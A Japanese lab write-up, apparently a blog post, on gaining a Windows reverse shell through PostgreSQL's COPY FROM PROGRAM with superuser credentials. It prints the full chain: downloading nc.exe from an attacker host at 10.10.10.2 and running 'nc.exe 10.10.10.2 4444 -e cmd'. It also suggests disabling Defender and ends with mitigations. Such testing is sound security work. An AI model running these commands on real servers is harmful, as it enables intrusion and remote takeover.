PostgreSQL の `COPY FROM PROGRAM` を悪用した RCE(Windows)検証
PostgreSQL の COPY FROM PROGRAM を悪用した RCE(Windows)検証
はじめに
こんにちは、J0hnSm1thykです。
この記事は、RWPL Advent Calendar 2025 の22日目の記事です。(2026/05/12に更新)
今回このテーマにした理由は、記憶ではこの手法をHackTricksで見かけたのですが、今はなくなっているようなので、検証して残しておこうと思ったからです。
PostgreSQL には、データベースサーバ上で外部プログラムを実行できる COPY FROM PROGRAM という強力な機能があります。
この機能は本来、ログやコマンド出力をテーブルに取り込むためのものですが、superuser 権限と組み合わさることで OS コマンド実行(RCE)に直結します。
本記事では、検証結果とその過程で使用したコマンドなどを解説しています。
検証環境
今回の検証で使用した環境は以下の通りです。
- Windows 11(VMware)
- PostgreSQL 17.5
- Kali Linux(VMware)
また、Windows Defender がプロセスやファイルをブロックする恐れがあるので、一時的にオフにすることを推奨します。
今回の対象となるコマンド
検証の結果、nc.exe を使用した RCE が実行できました。
一連のコマンドは以下の通りです。
\c postgres
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.10.10.2/nc.exe -o C:\\windows\\tasks\\nc.exe';
COPY cmd_exec FROM PROGRAM 'C:\\windows\\tasks\\nc.exe 10.10.10.2 4444 -e cmd';
前提条件:superuser 認証情報の入手
本手法を実行するには、事前に PostgreSQL の superuser 権限を持つアカウントの認証情報が必要です。
実際の攻撃シナリオでは、以下のような経路で入手されるケースが想定されます。
- 設定ファイル(
postgresql.conf、.pgpass等)の漏洩 - デフォルトパスワードの使用
- SQL インジェクションによる情報収集
- 他の脆弱性を経由した認証情報の窃取
データベースへの接続
\c postgres
postgres データベースに接続する理由として、デフォルト DB であり、管理者権限で使われることが多いためです。
なお、リバースシェルが確立した場合に得られる権限は NT AUTHORITY\SYSTEM ではなく、PostgreSQL サービスの実行アカウントに依存します。デフォルトインストールでは NT AUTHORITY\NetworkService や専用のローカルアカウント(postgres 等)で動作するケースが多いため、「必ず SYSTEM 権限が取れる」わけではない点に注意が必要です。
ダミーテーブルの作成
CREATE TABLE cmd_exec(cmd_output text);
COPY FROM PROGRAM を使うためには、出力先となるテーブルが構文上必須です。
ただし、今回のリバースシェルのように接続を待機し続けるコマンドは標準出力を返さないため、このテーブルに実際のデータが書き込まれることはありません。テーブルは「コマンドの実行トリガー」として機能しているに過ぎず、接続が確立するまで SQL はブロックされた状態になります。
COPY FROM PROGRAM とは何か
COPY FROM PROGRAM は PostgreSQL 9.3 以降で利用可能な機能で、
COPY table_name FROM PROGRAM 'OSコマンド';
という形式で DB サーバ上で OS コマンドを実行します。
重要な制約
- superuser 権限が必要
- PostgreSQL が動作している OS ユーザーの権限で実行される
つまり、「DB に侵入できた」+「superuser 権限がある」が成立すると、OS レベルの侵害が可能になります。
Netcat(nc.exe)のダウンロード
COPY cmd_exec FROM PROGRAM 'curl http://10.10.10.2/nc.exe -o C:\\windows\\tasks\\nc.exe';
この SQL によって、以下の OS コマンドが Windows 上で実行されます。
curl http://10.10.10.2/nc.exe -o C:\windows\tasks\nc.exe
何をしているか
- 攻撃者ホスト(10.10.10.2)から
nc.exeをダウンロードする -
C:\windows\tasks\に保存する(このパスは一般的に書き込み権限があるため利用される)

Netcat を使ったリバースシェル
COPY cmd_exec FROM PROGRAM 'C:\\windows\\tasks\\nc.exe 10.10.10.2 4444 -e cmd';
実行される OS コマンド:
nc.exe 10.10.10.2 4444 -e cmd
動作の解説
- ターゲット側 → 攻撃者ホスト(10.10.10.2:4444)へ接続
-
-e cmdにより、接続先に cmd.exe を紐づける
攻撃者側で以下を待ち受けていると:
nc -lvnp 4444
Windows のコマンドプロンプトが奪取できました。

攻撃の全体フロー
0. 前提:何らかの手段で superuser の認証情報を取得
(設定ファイルのリーク、デフォルトパスワード、SQLi 等)
1. PostgreSQL に superuser 権限で侵入
2. COPY FROM PROGRAM による OS コマンド実行
3. Netcat のダウンロード
4. リバースシェル確立
5. DB → OS → 完全侵害(権限は PostgreSQL サービスアカウントに依存)
検証中に起きたエラー
PowerShell Payload
Base64 でエンコードされた PowerShell Payload の検証を行ったが、うまくいかなかった。
原因は特定できていないが、考えられる原因は以下の通りです。
| 原因 | 説明 |
|---|---|
| エスケープの問題 | SQL 文字列内の ' や \ のエスケープが崩れ、コマンドが正しく渡らない |
| Base64 特殊文字の問題 |
+ や = がシェル経由で渡ると意図しない解釈をされる場合がある |
| Windows Defender による検知 | Base64 エンコードされた PowerShell ペイロードはシグネチャ検知の対象になりやすい |
| 実行ポリシーの制限 |
ExecutionPolicy が Restricted の場合、-EncodedCommand でも実行が弾かれる場合がある |
なお、当初仮説として挙げた「テーブルの文字数制限」については、PostgreSQL の text 型は最大 1GB まで格納可能なため、現実的な原因ではないと考えられます。

対策・緩和策
本手法への対策として、以下が有効です。
| 対策 | 内容 |
|---|---|
| 最小権限の原則 | superuser 権限を持つアカウントを必要最小限にし、アプリケーション用 DB ユーザーには superuser を付与しない |
| アクセス元の制限 |
pg_hba.conf で接続元 IP を制限し、不要なリモート接続を遮断する |
| サービスアカウントの低権限化 | PostgreSQL のサービスを専用の低権限アカウントで動作させ、侵害時の影響範囲を限定する |
| 権限の剥奪 |
COPY FROM PROGRAM を使用しない場合は pg_execute_server_program 権限の付与を避ける |
| ネットワーク監視 | DB サーバからの外向き通信(curl 等)を監視・制限する |
まとめ
ここまで読んでいただきありがとうございました。今回の検証でいろいろな副産物的な知見も得られたことから、地道な検証の大切さを知りました。
今後は、何かしらの攻撃の分析をまとめていけたらなと思います。
Discussion